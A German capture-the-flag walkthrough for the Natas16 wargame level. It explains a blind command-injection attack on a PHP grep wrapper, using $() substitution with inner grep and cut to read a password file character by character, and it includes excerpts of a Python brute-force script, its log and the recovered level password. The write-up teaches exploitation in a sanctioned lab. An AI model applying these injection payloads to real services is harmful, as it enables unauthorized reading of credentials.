Aktualisiert am: 2022-08-26

Command Injection

Enumeration

Challenge

Natas16 ist eine sicherere Version von Natas10.

  • Der Parameter $key darf nun insbesondere weder Doublequotes (") noch Backslashes (\) enthalten, bevor er an grep übergeben wird
  • Zudem ist $key von Doublequotes (") umgeben

      if($key != "") {
          if(preg_match('/[;|&`\'"]/',$key)) {
              print "Input contains an illegal character!";
          } else {
              passthru("grep -i \"$key\" dictionary.txt");
          }
      }
    

Exploitation

  • Aus den Doublequotes (") können wir nicht ausbrechen, auch nicht mit Zeichencodes (\x22)
  • Immerhin bleiben uns die Zeichen $() für Command Substitution. Damit können wir den Output eines beliebigen Befehls als Pattern für grep übergeben

grep

Mit einem inneren grep prüfen wir, ob beispielsweise der Buchstabe A im Kennwort vorkommt

  grep -i "$(grep A /etc/natas_webpass/natas17)African" dictionary.txt
  • Wenn der innere grep etwas findet, wird dadurch der äussere grep fehlschlagen

     Output:
     <pre>
     </pre>
    
  • Wenn hingegen der innere grep nichts findet, wird der äussere grep erfolgreich sein

     Output:
     <pre>
     African
     </pre>
    

Ähnlich wie bei einer Blind SQL Injection liessen sich nun basierend auf dem jeweiligen Output

  1. alle möglichen Zeichen ermitteln und
  2. diese dann mittels Regex ^... (beginnt mit …) durchprobieren

cut

Es ist deutlich effektiver, statt eines inneren grep einen inneren cut zu verwenden. Anstelle also zu prüfen, ob ein Zeichen im Kennwort vorkommt, lassen wir direkt beispielsweise das erste Zeichen zurückgeben

grep -i "^$(cut -c1 /etc/natas_webpass/natas17)" dictionary.txt

Dennoch müssen wir hier zur genaueren Bestimmung auf die ursprüngliche Variante mit einem inneren grep zurückgreifen:

  • Buchstaben: In der Datei dictionary.txt gibt es für jeden Buchstaben mindestens ein Wort, das mit dem jeweiligen Buchstaben beginnt. Wir wissen aber nicht, ob der zurückgegebene Buchstabe gross- oder kleingeschrieben ist (grep -i, case-insensitive)
  • Ziffern: Sollten im Kennwort Ziffern vorkommen, könnten wir dies nicht feststellen, da sie in der Datei dictionary.txt gänzlich fehlen. Die Idee, das Kennwort vor der Extraktion zur Basis 26 (oder tiefer) zu codieren, um lediglich Buchstaben vorzufinden, habe ich nicht weiter verfolgt.

Python Script

Demo | natas16-solution.py
Demo | natas16-solution-debug.py

Das Script braucht weniger als 100 Versuche, um das Kennwort herauszufinden

001  #
0123456789
012  0
013  3
014  5
015  7
016  8
017    p
018    P
019      s
020      s
021        #
022        0
023        3
024          h
025          H
026            #
027            0
028              g
029              G
030                w
031                W
032                  b
033                  b
034                    n
035                    n
036                      #
037                      0
038                      3
039                      5
040                        r
041                        r
042                          d
043                          d
044                            #
045                            0
046                            3
047                            5
048                            7
049                            8
050                            9
051                              s
052                              S
053                                #
054                                0
055                                3
056                                5
057                                7
058                                  g
059                                  G
060                                    m
061                                    m
062                                      a
063                                      A
064                                        d
065                                        d
066                                          g
067                                          g
068                                            q
069                                            Q
070                                              n
071                                              N
072                                                d
073                                                d
074                                                  k
075                                                  k
076                                                    h
077                                                    h
078                                                      p
079                                                      P
080                                                        k
081                                                        k
082                                                          q
083                                                          q
084                                                            #
085                                                            0
086                                                            3
087                                                            5
088                                                            7
089                                                            8
090                                                            9
091                                                              c
092                                                              c
093                                                                w
094                                                                w
095

requests: 95
password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

Es probiert jeweils erst mit cut die Zeichen direkt zu extrahieren

while (pw_current_char := get_positional_character(i)) is not None:

Im Erfolgsfall muss nur noch mit grep geprüft werden, ob der kleingeschriebene Buchstabe nicht doch grossgeschrieben ist

    # successful positional extraction?
    if pw_current_char:
        # ascii letter is not case-sensitive because of 'grep -i', verification needed
        if not get_first_matching_character('^' + ''.join(pw), pw_current_char, True):
            # lowercase character does not match password
            pw_current_char = pw_current_char.upper()

Andernfalls wird es sich um ein Zeichen handeln, welches in der Datei dictionary.txt nicht vorkommt: eine Ziffer. Einmalig müssen nun die im Kennwort verwendeten Ziffern ermittelt werden. Dem soweit bekannten Kennwort werden nun die ermittelten Ziffern jeweils hinten angefügt und mit grep durchprobiert

    else:
        # extraction failed, because character at specific position is not in the dictionary
        # e.g. if password starts with a number, it cannot be found in the output

        # for easier brute force, we first verify which characters are used in the password at all
        if not verified_chars:
            for c in string.digits:
                # digit does match password?
                if get_first_matching_character('', c):
                    verified_chars.append(c)

        # brute force with verified characters
        pw_current_char = get_first_matching_character('^' + ''.join(pw), verified_chars)

Links

  • Artikel mit englischsprachiger Lösungsbeschreibung
  • Lösung mit fast 500 Versuchen, aber weniger Quellcode